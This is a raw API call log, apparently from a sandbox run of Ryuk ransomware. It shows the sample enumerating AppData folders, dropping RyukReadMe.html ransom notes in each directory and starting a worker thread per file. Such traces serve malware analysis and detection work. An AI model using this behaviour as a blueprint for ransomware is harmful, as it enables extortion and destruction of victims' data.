	[0219.338] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0219.338] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0219.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0219.348] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.348] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0219.348] SetLastError (dwErrCode=0x0) 
	[0219.348] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0219.349] GetLastError () returned 0xb7
	[0219.349] CloseHandle (hObject=0x5c4) returned 1
	[0219.349] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c988f10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0219.350] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c988f10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.350] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0219.350] SetLastError (dwErrCode=0x0) 
	[0219.350] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.351] GetLastError () returned 0xb7
	[0219.351] CloseHandle (hObject=0x6cc) returned 1
	[0219.351] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0219.352] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.352] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0219.352] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0219.352] SetLastError (dwErrCode=0x0) 
	[0219.352] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.354] GetLastError () returned 0x0
	[0219.354] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0219.357] CloseHandle (hObject=0x6cc) returned 1
	[0219.357] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0219.357] SetLastError (dwErrCode=0x0) 
	[0219.357] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.358] GetLastError () returned 0xb7
	[0219.358] CloseHandle (hObject=0x6cc) returned 1
	[0219.358] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0219.359] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.359] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0219.359] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0219.359] SetLastError (dwErrCode=0x0) 
	[0219.359] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.360] GetLastError () returned 0x0
	[0219.360] WriteFile (in: hFile=0x6cc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0219.363] CloseHandle (hObject=0x6cc) returned 1
	[0219.363] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0219.363] SetLastError (dwErrCode=0x0) 
	[0219.363] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0219.364] GetLastError () returned 0xb7
	[0219.364] CloseHandle (hObject=0x6cc) returned 1
	[0219.364] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0219.867] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.867] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0219.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0219.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0219.888] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.889] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0219.889] SetLastError (dwErrCode=0x0) 
	[0219.889] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0219.919] GetLastError () returned 0x0
	[0219.919] WriteFile (in: hFile=0x6e0, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0219.922] CloseHandle (hObject=0x6e0) returned 1
	[0219.922] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0219.928] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.928] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0219.928] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0219.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0219.931] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.932] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0219.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0219.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8
	[0219.935] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.936] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0219.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0219.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec
	[0219.939] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.939] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
	[0219.939] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0219.942] SetLastError (dwErrCode=0x0) 
	[0219.942] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.942] GetLastError () returned 0x3
	[0219.942] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0219.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.943] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0219.943] SetLastError (dwErrCode=0x0) 
	[0219.943] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0
	[0219.943] GetLastError () returned 0xb7
	[0219.943] CloseHandle (hObject=0x6e0) returned 1
	[0219.944] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ea, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0219.944] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0222.538] SetLastError (dwErrCode=0x0) 
	[0222.538] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.538] GetLastError () returned 0x3
